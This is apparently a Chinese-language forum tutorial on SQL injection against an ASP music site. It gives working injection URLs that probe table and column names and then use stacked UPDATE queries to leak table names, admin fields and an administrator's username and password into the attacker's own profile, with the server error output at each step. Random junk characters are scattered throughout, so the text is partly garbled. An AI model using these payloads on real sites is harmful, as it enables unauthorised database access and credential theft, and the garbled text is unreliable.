9 X1 [2 y S# _ 出现 , l& V* u% c0 s) q1 G+ ?: c" S' Y \5 P
/ R+ U7 Y( ?7 z/ X2 c$ | : Q9 r+ X' S g. C, e9 CMicrosoft OLE DB Provider for SQL Server 错误 80040e21' ?' x9 T$ L' V0 E& F+ k
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 ?: N- S) D4 X/showspecial.asp,行13 : m3 ~( ?: u* Y; A. [7 S! I' f3 s( v$ W* G( C
想在他的数据库里增加一个管理员是不可能了,我们再换一种方法2 B" u! |+ g5 Y. [
/ J$ o% y3 M: M, Q7 ~
2、提交http:/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user]) * E N' T3 [, R1 z# D 6 g( o2 |% @- C8 h g2 E2 V 这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段; J+ @0 e v& s. i; u
2 @4 L( Q0 M( o5 x5 s2 E7 G/ D( q. y" j 一般来说:9 C: d) A- t( R2 G2 Y/ J4 O
. W# Y' Z1 Y, v% B# u
如果不存在该表的话,会出现 ) Q; c) K' J/ m" y& M' `8 O' f! Y9 K9 ^% e9 n$ V( ^
2 a+ k) W, m2 U- o0 C5 W7 b$ |" u* g1 v
4 h9 d4 S8 u6 S( H. qMicrosoft OLE DB Provider for SQL Server 错误 80040e37& J% N! M; X' }" d6 p# T0 o# s
对象名 user 无效。 2 Q: F. c3 o$ o/showspecial.asp,行138 w' g }4 t+ {$ M) x
不存在该字段的话,会出现( q, j% h: ^$ a, ?) I% X) c
Microsoft OLE DB Provider for SQL Server 错误 80040e14 # W9 d/ E- y. X1 V列名 id 无效。9 `9 ] y, z) j+ c
/showspecial.asp,行13 ! V! N8 _ W1 n7 V' f7 H% _2 b$ k
% x( @% {, x3 V9 o 注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如 4 |4 T1 D3 E Z9 o ! B! f" _, n h$ U! V. ]9 u. H很幸运,果然存在user表和id字段 8 G+ o+ X m. X0 C1 a8 A) A$ u* g% C5 m7 B
3、通过提交http:/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])1 V6 \. Z% S. o
3 s$ [. e, R0 K7 I# S
这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534 * O: P7 s+ j1 n % z; Y/ T6 V c; P- P* |( K 4、继续猜下去,这里我还是利用的他程序中的表单名,提交:6 N7 ?2 M6 n- w# Y [4 i' ^( q! S; j* r% v
/ C x' Q/ A; C
http:/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])3 n9 E% A8 g! X& Q
8 v) @( ~4 J9 I& ]4 X
也存在,好了,到这里,我们的平台已经搭建好了。 $ N- x) S2 W- I I" m5 } + P& B3 I, ~6 r& p 二、深入研究,让SQL自己招数据库结构9 [. R, B+ H" m3 V' I1 O3 v- k' O
) G3 K2 ]! \7 ^5 d- j) T _ F- J- @* ?+ J: q: y5 E, ]4 M8 a7 f. a; [1 U' b O4 ^
table_id:包含数据库列的表的标识号。table_id 属于 int 类型。 : ?5 W+ a2 ?" K& T6 M9 _ column_id:列的标识号。column_id 参数属于 int 类型。 ! K8 n$ }1 Q$ z4 e0 c" u$ \3 a9 l5 P% m1 {$ n+ y+ @3 [7 B! r
其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号" h" P+ T. P" e6 o% h( T) H
; |6 y7 s D" e8 x* ^
以此类推得到该表所有的字段名称 * q- ^* o1 }- @1 O h( S6 _! }3 @0 q 三、再次渗透攻击 9 `5 e3 v9 P) y/ X Y 3 d7 _, H8 P. P; y2 V 经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了& y. `9 z' {0 S( Z
2 {" z# Z/ m6 Q0 Z- H6 `
依然是那个页,我们提交 1 y. @5 d9 Q' _7 l% F; k2 M4 b( }* x
( I3 ]! [2 C+ r; I: [2 S1 z% F 5 K# N& S6 R' Z! y; Fhttp:/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- % y, U& a& d2 T . h0 g6 @% y1 [6 o( ^ 服务器返回 ; @6 _. J R+ @' i4 u# O7 S& @) D Y$ ~" e6 |
1 }4 B0 H; [$ P- v( n) t ^
% b; F6 n0 F4 o' d
ADODB.Recordset 错误 800a0cb3* W; C- T% ?2 R% ]1 j7 b7 `$ _
当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。7 i& H0 V' ^, D9 q1 S1 @" D
/showspecial.asp,行19 ' z) b2 u' ]; } / o8 o6 J' j8 h9 c 出师不利,可能该页记录集打开方式是只读,我们再换一个页 ( W/ r% X7 }* O+ n 7 b4 p _5 `: @7 M: g# D: T7 F 找到http:/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交+ j0 `! t& w9 C6 y$ W: N" ]; m2 u
) n- o( b: c9 Whttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- - x( V7 W) o4 d' T( n
; H% j0 V* Z1 P* [" v6 B% g- C9 R8 ` 把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser + E! C. `* R7 B( w% {/ \ + B, i" q$ i, A! ~6 Q" {" \http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;-- . }- E, p k `8 H2 m
0 x t3 ^8 @& A0 F
得到第一个表lmuser的id标识号为:363148339 5 f& z; q6 X' J- I, a" }- s/ P% |6 |
" Z' c- h! Z! B- b
/ Z" B3 t$ h# A, A9 Z5 t" S
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;-- * @ c! m# K2 k; ]$ @1 g
) K7 t- Y8 J0 T$ h
得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。8 {2 ^- o& O" [
' H2 ~0 m6 r3 J; E
好,接下来我们就取该表的字段名 - g" C# A8 \+ q# S) b + f) o6 O/ p3 J3 V0 K9 f 7 s1 L8 Q- h+ H
4 W0 ^7 w3 m4 L7 d: S0 khttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;-- ) w- V( m) z9 v2 n, _6 E
" {* E- ^; ~. S6 Q% l h 得到第1个字段为:id: B) E. `1 d. {& A
, C! B' m' M6 u/ F ) T5 `; K" \' A0 t; h6 h; a
7 U' Y7 _ X2 ?+ G/ N6 Y" Z' ehttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;-- 1 Z- g. ?5 `# Z" e
, _4 G5 ?3 `- U9 a4 k) v* P
得到第2个字段为:username 2 {4 B, p( _9 E7 E8 G1 ~ H8 s I) U4 J# p1 }4 g ] ' x: z9 D2 E; i/ W# P% i 1 W( D+ J( a% u: {: Lhttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;-- 2 n) E: F2 C) H& _, i 7 j2 k5 O& Z' p 得到第2个字段为:password) E) d O+ q, g/ m: v1 [) ^) L6 x! E
' L% b! \4 Y% t" F
到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。0 k! c* t4 Y. B
! l5 B& [2 w9 A- v
我们拿到的id值是44 , ]9 o" m2 z5 s. S; R3 q! K e) Z2 y' A& f
# u+ [! v+ _( z3 p3 o% I5 Q
% k$ g2 p% f1 [2 Z; R% ohttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;-- . p- J/ N6 {- A/ N) V- B
* k- ]- n2 O) d# y
将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3 # u; ^' {& V& }2 p- [- a6 l+ x% _9 D3 E# ] `! G5 M' q3 q9 U
2 U# M% o7 u* |! Q6 t8 `+ j/ r/ ?+ k( v7 |; _( w
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;-- ! o0 t6 J& i( _5 o - r" ?4 n" T6 X8 a N9 T将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ 3 y- w- G$ n5 [/ w5 U ! I" d d2 q" n2 _ 怎么样,拿到密码了吧?) q4 N* H& t8 d, U H+ K, p& r7 c
, C4 n) @! u$ ]$ U7 H B
四、总结 / [" `2 H2 J! h& m: {* _! a. C1 Z2 i( R2 G1 V0 |; y
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。 ! O1 b/ _; U- \( }+ F8 S最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!! z* g/ L8 E5 k& q/ v
& {$ U, w0 O! y* `( E9 X ) Z/ N3 H. S# H* N9 ?: S. k2 d! Z7 d/ m" A& @# i' S; m: m W7 k